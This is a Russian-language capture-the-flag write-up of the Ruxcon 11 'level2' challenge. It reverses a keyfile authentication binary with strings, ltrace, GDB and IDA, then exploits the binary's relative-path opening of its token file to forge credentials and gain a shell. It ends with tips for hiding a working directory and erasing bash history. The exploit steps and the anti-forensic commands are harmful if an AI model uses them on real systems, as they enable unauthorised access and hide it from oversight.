Автор Tom Ravenscroft — мелкосерийный кустарь hax0r и специалист по безопасности.

Это было второе испытание, которое можно было разыграть на Ruxcon 11. Игроки подключались по SSH к серверу с 64-битной Ubuntu, а домашний каталог пользователя SSH содержал два файла: level2 и tokenfile. file и cat быстро обнаружили, что level2 — это исполняемый файл ELF x86–64, который не был удален. tokenfile — это текстовый файл, но мы не можем его прочитать. Предположительно, тогда цель задачи состоит в том, чтобы прочитать этот файл!

➜ pwnable2 file level2
level2: ELF 64-bit LSB executable, x86–64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86–64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e98e13b917a49c072e0ba9035947d21ba91a706d, not stripped

Когда мы запускаем level2, он запрашивает ключевой файл, указанный в виде пути или символа «-», который указывает «дайте мне ключевой файл на стандартный ввод».

Прежде чем что-либо делать, запустите строки над двоичным файлом. Это поможет вам разобраться в ситуации, а в некоторых (глупых) случаях вы найдете флаг. Strings не дает флаг, но показывает некоторые интересные строки, которые звучат как имена функций:

➜ pwnable2 strings level2
<snip>
parse_header
no_keys
<snip>
auth_scheme
sizetype
key_for_scheme
token_from_file
XorDecode
try_authenticate
<snip>
mod_table
encoding_table
base64_encode
base64_decode
build_decoding_table
base64_cleanup
input_length
output_length
encoded_data
<snip>

Похоже, есть попытки аутентификации, синтаксический анализ, base64, декодирование и т. д.

Мы начнем с простого; поскольку мы сумасшедшие hax0rz, мы сначала предположим, что пароль — это пароль.

➜ pwnable2 ./level2 — beans
Usage: ./level2 <keyfile> or — for stdin
➜ pwnable2 ./level2 -
password
Invalid Scheme specified.

СОВЕРШЕНО! Пароль не был паролем. Не испугавшись, мы попробуем запустить ltrace для поиска интересных вызовов функций.

➜ pwnable2 ltrace ./level2 -
__libc_start_main(0x400c00, 2, 0x7ffc819d44d8, 0x4017b0 <unfinished …>
strcmp(“-”, “-”) = 0
malloc(1032) = 0x16bd010
__isoc99_fscanf(0x7f4c18f5c4e0, 0x401834, 0x16bd010, 0x16bd018 password
) = 0
malloc(0) = 0x16bd420
malloc(4104) = 0x16bd440
strcmp(“”, “XOR”) = -88
strcmp(“”, “NOENCRYPT”) = -78
fprintf(0x7f4c18f5c060, “Invalid Scheme specified.\n”Invalid Scheme specified.
) = 26
+++ exited (status 1) +++

Обратите внимание на вызовы strcmp(“”, “XOR”)` and `strcmp(“”, “NOENCRYPT”), за которыми следует вызов, который печатает «Указана недопустимая схема». Похоже, наш ввод должен будет пройти сравнение либо с «XOR», либо с «NOENCRYPT» (или с обоими!) Хотя это звучит как хорошее начало, обратите внимание, что наш ввод пароля ниндзя не появляется ни в одном из этих сравнения! хм… похоже, наш ввод считывается через fscanf, так что давайте запустим GDB и выясним, что происходит.

Обратите внимание, что я использую супер-пупер удивительный помощник по разработке эксплойтов Python peda.py для GDB, он делает GDB не отстойным, как молоко делает кашу не отстойной.

Здесь мы запускаем gdb level2, устанавливаем точку останова для функции __isoc99_fscanf и настраиваем аргументы программы для приема ввода со стандартного ввода.

Всякий раз, когда GDB ломается, PEDA печатает дамп состояния процессора (больше не спамить i r!) вверху у нас есть дамп регистра, за которым следует дизассемблирование вокруг текущего счетчика программ и дамп памяти. Похоже, что rsi содержит строку формата, передаваемую в fscanf, которая будет определять, что будет прочитано. Руководство для fscanf должно содержать все, что нам нужно для интерпретации строки формата.

SCANF(3) Linux Programmer’s Manual SCANF(3)
NAME
scanf, fscanf, sscanf, vscanf, vsscanf, vfscanf — input format conversion
SYNOPSIS
#include <stdio.h>
int scanf(const char *format, …);
int fscanf(FILE *stream, const char *format, …);
<snip>
The conversion specifications in format are of two forms, either beginning with ‘%’
or beginning with “%n$”. The two forms should not be mixed in the same format
string, except that a string containing “%n$” specifications can include %% and %*.
If format contains ‘%’ specifications, then these correspond in order with
successive pointer arguments. In the “%n$” form (which is specified in
POSIX.1–2001, but not C99), n is a decimal integer that specifies that the converted
input should be placed in the location referred to by the n-th pointer argument
following format.
Conversions
l Indicates either that the conversion will be one of d, i, o, u,
x, X, or n and the next pointer is a pointer to a long int or unsigned long
int (rather than int), or that the conversion will be one of e, f, or g
and the next pointer is a pointer to double (rather than float). Specifying
two l characters is equivalent to L. If used with %c or %s, the
corresponding parameter is considered as a pointer to a wide character or
wide-character string respectively.
u Matches an unsigned decimal integer; the next pointer must be a pointer
to unsigned int.
s Matches a sequence of non-white-space characters; the next pointer
must be a pointer to character array that is long enough to hold the input
sequence and the terminating null byte (‘\0’), which is added
automatically. The input string stops at white space or at the maximum
field width, whichever occurs first.
<snip>

Строка формата fscanf, ”%lu:%1023s”, может быть разбита на следующие части:

  • %lu — длинное беззнаковое
  • : — ASCII-символ «:»
  • %1023s — строка из 1023 символов (1024 с завершающим нулем).

Раньше мы просто передавали строку «пароль», и наш ввод не попадал в инструкции strcmp. Давайте настроим формат так, чтобы он соответствовал строке формата fscanf, и попробуем еще раз. Чтобы сделать все более аккуратно, мы также поместим наш ввод в ключевой файл, а не введем его через стандартный ввод.

➜ pwnable2 echo “123:password” > key1

Изменение формата, кажется, сработало! Теперь мы видим, что строка «пароль» сравнивается с «XOR» и «NOENCRYPT», но мы по-прежнему сталкиваемся с сообщением «Указана неверная схема». Если мы изменим наш ввод на «123:NOENCRYPT», мы увидим следующее: strcmp(“NOENCRYPT”, “NOENCRYPT”), выглядит хорошо!

➜ pwnable2 ltrace ./level2 ./key1
__libc_start_main(0x400c00, 2, 0x7ffe6b0f31e8, 0x4017b0 <unfinished …>
strcmp(“./key1”, “-”) = 1
fopen(“./key1”, “r”) = 0x2072010
malloc(1032) = 0x2072250
__isoc99_fscanf(0x2072010, 0x401834, 0x2072250, 0x2072258) = 2
malloc(629760) = 0x7f2d3cf19010
malloc(4104) = 0x2072660
strcmp(“password”, “XOR”) = 24
strcmp(“password”, “NOENCRYPT”) = 34
fprintf(0x7f2d3cdba060, “Invalid Scheme specified.\n”Invalid Scheme specified.
) = 26
+++ exited (status 1) +++
➜ pwnable2 echo “123:NOENCRYPT” > key2
➜ pwnable2 ltrace ./level2 ./key2
__libc_start_main(0x400c00, 2, 0x7ffc0232d358, 0x4017b0 <unfinished …>
strcmp(“./key2”, “-”) = 1
fopen(“./key2”, “r”) = 0xc43010
malloc(1032) = 0xc43250
__isoc99_fscanf(0xc43010, 0x401834, 0xc43250, 0xc43258) = 2
malloc(629760) = 0x7efc1ddcd010
malloc(4104) = 0xc43660
strcmp(“NOENCRYPT”, “XOR”) = -10
strcmp(“NOENCRYPT”, “NOENCRYPT”) = 0
strcpy(0xc43668, “No Encryption”) = 0xc43668
__isoc99_fscanf(0xc43010, 0x401962, 0x7efc1ddcd010, 0x7efc1ddcd010) = 0xffffffff
fprintf(0x7efc1dc6e060, “In.correct number of entries. Exp”…, 123, 0Incorrect number of entries. Expected 123 but found 0
) = 54
+++ exited (status 1) +++

Теперь мы получаем сообщение: «Неверное количество записей. Ожидал 123, а нашел 0”. Похоже, что число, которое мы передаем, является своего рода счетчиком. Очевидно, наш ключевой файл содержит ноль записей, давайте попробуем добавить что-нибудь в ключевой файл. Добавление строки «пароль» изменяет сообщение на «Неверное количество записей. Ожидалось 123, но найдено 1», похоже, что число, которое мы передаем, является счетчиком количества строк в ключевом файле.

➜ pwnable2 echo “0:NOENCRYPT\npassword” > key3
➜ pwnable2 ./level2 ./key3
Incorrect number of entries. Expected 123 but found 1
➜ pwnable2 echo “1:NOENCRYPT\npassword” > key3
➜ pwnable2 ./level2 ./key3

Потрясающий! Вроде как… на самом деле ничего не происходит, и мы явно ничего не напортачили, да и шеллз не идет. Давайте запустим IDA, чтобы понять, как мы на самом деле собираемся сломать эту штуку.

Как только двоичный файл будет загружен и дизассемблирован, перейдите в окно строк (SHIFT+F12). Мы предполагаем, что хотим правильно аутентифицироваться с помощью двоичного файла, поэтому давайте проследим, где используется следующая строка: «Поздравляем. Вы аутентифицированы!» Дважды щелкните строку, это перейдет к таблице в разделе .rodata, используйте Ctrl+x, чтобы найти перекрестные ссылки на строку, в данном случае есть только одна.

Итак, если мы правильно аутентифицируемся, мы получаем оболочку. Похоже, мы находимся в правильном месте. Но мы не можем прочитать файл токена! Если мы не сможем прочитать файл токена, будет очень сложно создать действительный ключевой файл.

Если мы углубимся в функцию token_from_file, мы обнаружим следующий интересный блок кода. Вот оно! Похоже, что программа открывает файл токена по относительному пути, а не по абсолютному. Мы можем полностью злоупотреблять этим!

Я забыл сделать скриншоты во время самого соревнования, но права доступа к файлу токенов были такими, что пользователь, работающий с двоичным файлом уровня 2, не мог прочитать файл токенов, но они позволили переместить двоичный файл. Поскольку файл токенов открывается из ./tokenfile, если мы переместим двоичный файл куда-нибудь вроде /tmp и создадим собственный файл токенов, мы сможем успешно пройти аутентификацию. Давайте проверим эту теорию!

➜ /tmp echo -n “1:NOENCRYPT\nwinning” > key5
➜ /tmp echo -n “winning” > tokenfile
➜ /tmp ./level2 ./key5
Key entry too large.

Похоже, мы что-то упустили. Найдем в IDA сообщение «Вход ключа слишком большой».

Если сравнение не удается и ветвь не выполняется, программа печатает «Слишком большой ввод ключа» и завершает работу. Похоже, что это сравнение сравнивает переменную с -1 непосредственно после операции декодирования base64. Следуя потоку в IDA, из этой точки есть 3 пути. Либо программа печатает «Слишком большой ключевой ввод», «Неправильно закодированный ввод», либо переходит к функции try_authenticate. Если мы сломаемся в GDB в точке, где вызывается base64_decode, мы увидим указатель (0x602660) на запись нашего ключевого файла, «выигрышную», которая передается в качестве аргумента.

Декодирование «победы» как base64 явно не удастся, поэтому, возможно, нам нужно закодировать наш ввод. Также обратите внимание, что поскольку двоичный файл не удален, мы можем видеть имя исходного файла в месте разрыва GDB: authenticate_with_keyfile_b64dec.c. Звучит неплохо, попробуем.

➜ /tmp echo “1:NOENCRYPT” > key6
➜ /tmp echo -n “winning” | base64 >> key6
➜ /tmp ./level2 ./key6
#
# cd /home/level2
# ls
level2 tokenfile
# cat tokenfile
RUX{not_the_actual_flag_but_you_still_win}
# exit
Congratulations. You’re authenticated
➜ /tmp

БУМ, мы получаем оболочку, возвращаемся в каталог задач и можем прочитать токенфайл, который содержит исходный флаг (боюсь, я не помню фактический флаг).

Мы не исследовали функцию XOR, но очевидно, что она нам не понадобилась для решения задачи. Возможно, как тема для следующего поста.

И последнее замечание: это испытание было размещено на сервере, доступном для всех команд. Это означает, что любой, кто просматривает историю bash, может видеть, что вы делаете, что делает деликатной операцию по решению задачи, не раскрывая ваши методы. Как минимум, я бы рекомендовал создать скрытую папку, работать оттуда, а затем удалить историю bash.

➜ pwnable2 mkdir /.fd788743c5e54c528a6088c650cf8a9d
➜ pwnable2 cp level2 /.fd788743c5e54c528a6088c650cf8a9d
<pwn all the things>
➜ pwnable2 history -c
➜ pwnable2 cat /dev/null > ~/.bash_history

Вы знаете... просто чтобы быть уверенным.

Хорошей охоты.